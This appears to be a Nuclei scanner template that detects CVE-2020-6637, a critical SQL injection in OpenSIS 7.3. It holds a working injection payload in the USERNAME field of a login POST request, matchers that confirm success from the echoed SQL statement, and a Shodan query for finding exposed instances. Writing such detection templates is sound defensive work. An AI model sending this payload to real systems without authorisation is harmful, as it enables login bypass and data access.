52 lines
1.5 KiB
YAML
52 lines
1.5 KiB
YAML
id: CVE-2020-6637
|
|
|
|
info:
|
|
name: OpenSIS 7.3 - SQL Injection
|
|
author: pikpikcu
|
|
severity: critical
|
|
description: OpenSIS Community Edition version 7.3 is vulnerable to SQL injection via the USERNAME parameter of index.php.
|
|
reference:
|
|
- https://cinzinga.com/CVE-2020-6637/
|
|
- https://nvd.nist.gov/vuln/detail/CVE-2020-6637
|
|
- https://sourceforge.net/projects/opensis-ce/files/
|
|
- https://github.com/OS4ED/openSIS-Responsive-Design/commit/1127ae0bb7c3a2883febeabc6b71ad8d73510de8
|
|
classification:
|
|
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
|
|
cvss-score: 9.8
|
|
cve-id: CVE-2020-6637
|
|
cwe-id: CWE-89
|
|
metadata:
|
|
shodan-query: http.title:"openSIS"
|
|
tags: cve,cve2020,sqli,opensis
|
|
|
|
requests:
|
|
- method: POST
|
|
path:
|
|
- '{{BaseURL}}/account/index.php'
|
|
- '{{BaseURL}}/opensis/index.php'
|
|
- '{{BaseURL}}/index.php'
|
|
headers:
|
|
Content-Type: application/x-www-form-urlencoded
|
|
body: |
|
|
USERNAME=%27%29or%601%60%3D%601%60%3B--+-&PASSWORD=A&language=en&log=
|
|
|
|
matchers-condition: and
|
|
matchers:
|
|
- type: word
|
|
part: body
|
|
words:
|
|
- 'SQL STATEMENT:'
|
|
- "<TD>UPDATE login_authentication SET FAILED_LOGIN=FAILED_LOGIN+1 WHERE UPPER(USERNAME)=UPPER(NULL)or`1`=`1`;-- -')</TD>"
|
|
condition: and
|
|
- type: word
|
|
part: header
|
|
words:
|
|
- "text/html"
|
|
condition: and
|
|
|
|
- type: status
|
|
status:
|
|
- 200
|
|
|
|
# Enhanced by mp on 2022/04/29
|